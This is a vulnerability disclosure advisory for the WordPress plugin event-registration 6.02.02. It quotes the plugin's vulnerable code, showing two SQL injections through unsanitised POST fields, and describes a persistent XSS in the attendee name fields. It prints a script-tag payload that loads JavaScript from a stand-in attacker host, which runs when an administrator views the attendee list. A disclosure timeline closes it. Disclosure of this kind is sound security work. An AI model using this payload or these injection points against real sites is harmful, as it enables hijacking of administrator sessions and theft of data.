WordPress Event Registration 6.02.02 XSS / SQL Injection

`* Exploit Title: WordPress Plugin event-registration 6.02.02: SQL-Injection and persistent XSS  
* Discovery Date: 2016/03/13  
* Public Disclosure Date: 2016/05/09  
* Exploit Author: Michael Helwig  
* Contact: https://twitter.com/c0dmtr1x | https://codemetrix.net  
* Vendor Homepage: http://wpeventregister.com/  
* Software Link: https://plugins.svn.wordpress.org/event-registration/tags/6.02.02/  
* Version: 6.02.02  
* Tested on: WordPress 4.4.1  
* Category: webapps  
  
  
DESCRIPTION  
-----------  
  
The plugin event-registration contains in its current version 6.02.02 multiple vulnerabilities:  
  
1. SQL-Injections  
  
There is a SQL-Injection visible in the code in evt_public-process_confirmation.php line 32  
22: $submitted_token = isset($_POST['token'])?$_POST['token']:'0';  
.. no sanitization of $submitted_token ...  
32: $sql = 'SELECT * FROM ' . get_option('evr_attendee') . " WHERE token='{$submitted_token}'";  
33: $attendee_valid = $wpdb->get_row($sql);  
  
Another injection is in line 63:  
  
19: $qanda = unserialize(urldecode($_POST["questions"]));  
.. no sanitization of $qanda ...  
61: $question_id = $qanda[$i]['question'];  
62: $response = $qanda[$i]["response"];  
63: if($question_id !=''){$wpdb->query("INSERT into ".get_option('evr_answer')." (registration_id, question_id, answer)  
64: values ('$reg_id', '$question_id', '$response')");}  
  
(see:   
https://plugins.svn.wordpress.org/event-registration/tags/6.02.02/public/evr_public-process_confirmation.php )  
  
2. Persistent XSS:  
  
There is a persistent XSS in attendee's first name and last name fields on registration confirmation (evr_public-process_confirmation.php).   
Quotes are escaped but the following vector still succeeds and is executed e.g. in Firefox and Chrome:  
<script src=http://evil.example.com/evil.js></script>  
  
When injected as first name or last name on the attendee's registration confirmation page (2. step in the attendee's default registration process), the   
injected script gets loaded as soon as a backend user visits the list of attendees.  
  
A demonstration of the XSS issues can be found here: https://www.youtube.com/watch?v=N4eaCAhk-a0  
  
  
TIMELINE  
------------  
2016/03/13 - Issues discovered  
2016/03/21 - Issues reported to vendor. No response.  
2016/03/31 - Issues reported to wordpress security team  
2016/04/01 - Reply from Wordpress security team. Plugin vanished from plugin directory shortly after.  
2016/05/09 - No information about any (planned) fixes. Disclosure.  
`